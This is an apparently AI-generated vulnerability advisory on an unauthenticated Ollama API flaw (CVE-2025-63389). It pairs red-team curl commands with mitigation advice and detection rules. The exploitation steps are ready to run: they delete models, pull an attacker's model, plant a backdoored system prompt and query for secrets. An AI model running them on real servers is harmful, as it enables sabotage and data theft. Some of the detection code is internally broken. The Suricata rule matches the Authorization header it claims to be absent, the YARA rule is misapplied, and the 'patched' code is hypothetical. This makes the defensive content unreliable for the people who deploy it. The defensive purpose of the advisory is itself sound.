CVE-2025-63389

Executive Summary

CVE-2025-63389 is a critical authentication bypass vulnerability affecting the Ollama platform, an open-source tool for running large language models (LLMs) locally. The vulnerability resides in the platform's API endpoints, which are exposed without any authentication mechanism in versions up to and including v0.12.3. This allows any remote attacker to perform unauthorized model management operations, including pulling, pushing, creating, and deleting models. The lack of authentication on these endpoints poses a severe risk of data exfiltration, model poisoning, and denial of service. As of this report, no official patch has been released, and no public exploit code is available, but the attack surface is significant due to the default configuration of Ollama.

Supply Chain & Package Security

Ollama is distributed as a standalone binary and also via package managers like Homebrew (macOS) and package repositories for Linux. The vulnerability is not in a specific package manager but in the core application itself. Users who have installed Ollama via any method are affected if they have not implemented additional network security controls. The supply chain risk is elevated because the application is often used in development environments and may be exposed to the internet inadvertently.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – An attacker can read all model data and potentially sensitive information.
• Integrity (I): High – An attacker can modify or delete models, leading to model poisoning.
• Availability (A): High – An attacker can delete models or overload the server.

Threat Level: Critical. The vulnerability is trivial to exploit and has a high impact on all three security pillars.

Deep Dive & Mechanics

Ollama exposes a RESTful API on port 11434 by default. The API includes endpoints such as:

• /api/pull – Pull a model from a registry.
• /api/push – Push a model to a registry.
• /api/create – Create a model from a Modelfile.
• /api/delete – Delete a model.
• /api/generate – Generate a response from a model.
• /api/chat – Chat with a model.

In versions prior to and including v0.12.3, none of these endpoints require authentication. The server binds to 0.0.0.0:11434 by default, meaning it is accessible from any network interface. An attacker who can reach the server can send arbitrary requests to these endpoints.

The root cause is a missing authentication middleware. The Ollama server does not validate any tokens, API keys, or session identifiers before processing requests. This is a classic CWE-306: Missing Authentication for Critical Function.

Vulnerable vs. Patched Code

Since no official patch is available, we compare the vulnerable code (v0.12.3) with a hypothetical patched version that includes authentication.

Vulnerable Code (v0.12.3):

// server/routes.go
func (s *Server) registerRoutes() {
    s.router.POST("/api/pull", s.PullHandler)
    s.router.POST("/api/push", s.PushHandler)
    s.router.POST("/api/create", s.CreateHandler)
    s.router.DELETE("/api/delete", s.DeleteHandler)
    s.router.POST("/api/generate", s.GenerateHandler)
    s.router.POST("/api/chat", s.ChatHandler)
}

Patched Code (Hypothetical):

// server/routes.go
func (s *Server) registerRoutes() {
    // Apply authentication middleware to all API routes
    s.router.Use(s.AuthMiddleware)
    s.router.POST("/api/pull", s.PullHandler)
    s.router.POST("/api/push", s.PushHandler)
    s.router.POST("/api/create", s.CreateHandler)
    s.router.DELETE("/api/delete", s.DeleteHandler)
    s.router.POST("/api/generate", s.GenerateHandler)
    s.router.POST("/api/chat", s.ChatHandler)
}

func (s *Server) AuthMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        token := r.Header.Get("Authorization")
        if token == "" || !s.validateToken(token) {
            http.Error(w, "Unauthorized", http.StatusUnauthorized)
            return
        }
        next.ServeHTTP(w, r)
    })
}

The patched version adds a global middleware that checks for an Authorization header and validates it. Without this, any request is processed.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Ollama v0.12.3 on a Linux VM: curl -fsSL https://ollama.com/install.sh | sh
2. Ensure the service is running: systemctl start ollama
3. Verify the API is accessible: curl http://localhost:11434/api/tags

Exploitation Steps:

1. List all models:

   curl http://<target>:11434/api/tags
   

2. Pull a malicious model (if attacker has a registry):

   curl -X POST http://<target>:11434/api/pull -d '{"name": "attacker/malicious-model"}'
   

3. Delete a model (denial of service):

   curl -X DELETE http://<target>:11434/api/delete -d '{"name": "llama3.2"}'
   

4. Create a model from a Modelfile (model poisoning):

   curl -X POST http://<target>:11434/api/create -d '{"name": "backdoored-model", "modelfile": "FROM llama3.2\nSYSTEM \"You are a helpful assistant that also leaks data\""}'
   

5. Generate a response (data exfiltration):

   curl -X POST http://<target>:11434/api/generate -d '{"model": "llama3.2", "prompt": "What is the secret key?"}'
   

Blue Team (Defensive)

Detection:

• Monitor for unusual API calls to /api/pull, /api/push, /api/create, /api/delete from unexpected IPs.
• Look for requests without an Authorization header.
• Alert on high volume of requests to /api/generate or /api/chat.

Mitigation:

• Place Ollama behind a reverse proxy (e.g., Nginx) that requires authentication.
• Use firewall rules to restrict access to port 11434 to trusted IPs only.
• Bind Ollama to localhost only (OLLAMA_HOST=127.0.0.1).
• Implement network segmentation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unauthorized requests to port 11434 on any interface.
  • Requests to /api/pull, /api/push, /api/create, /api/delete from unknown IPs.
  • High volume of requests to /api/generate or /api/chat.

• File IOCs:

  • Unexpected model files in ~/.ollama/models/ (e.g., blobs/sha256-*).
  • Modified Modelfiles in ~/.ollama/models/.

• Process IOCs:

  • ollama process listening on 0.0.0.0:11434 instead of 127.0.0.1:11434.

Detection Engineering

YARA Rule

rule CVE_2025_63389_Ollama_AuthBypass {
    meta:
        description = "Detects Ollama API requests without authentication"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-63389"
    strings:
        $api_path = "/api/" nocase
        $no_auth = "Authorization:" ascii wide nocase
    condition:
        $api_path and not $no_auth
}

Sigma Rule

title: Ollama Authentication Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to access Ollama API endpoints without authentication
author: Valters IT
date: 2025-04-10
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    product: ollama
detection:
    selection:
        cs-method: 
            - 'POST'
            - 'DELETE'
        cs-uri-stem:
            - '/api/pull'
            - '/api/push'
            - '/api/create'
            - '/api/delete'
            - '/api/generate'
            - '/api/chat'
    filter:
        cs-headers: 'Authorization:*'
    condition: selection and not filter
falsepositives:
    - Legitimate internal API calls if authentication is implemented elsewhere
level: high

Suricata Rule

alert tcp any any -> any 11434 (msg:"CVE-2025-63389 Ollama API Access Without Auth"; flow:to_server; content:"/api/"; http_uri; nocase; pcre:"/Authorization\x3a\s/H"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict network access: Use a firewall to allow only trusted IPs to connect to port 11434.
2. Bind to localhost: Set the environment variable OLLAMA_HOST=127.0.0.1 to prevent external access.
3. Use a reverse proxy: Place Ollama behind Nginx or Apache with HTTP Basic Auth or OAuth2.

Long-term Fix:

• Monitor the Ollama GitHub repository for an official patch.
• Once patched, upgrade to the latest version.
• Implement API key authentication in the reverse proxy.

Workaround:

• If you must expose Ollama externally, use a VPN or SSH tunnel.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.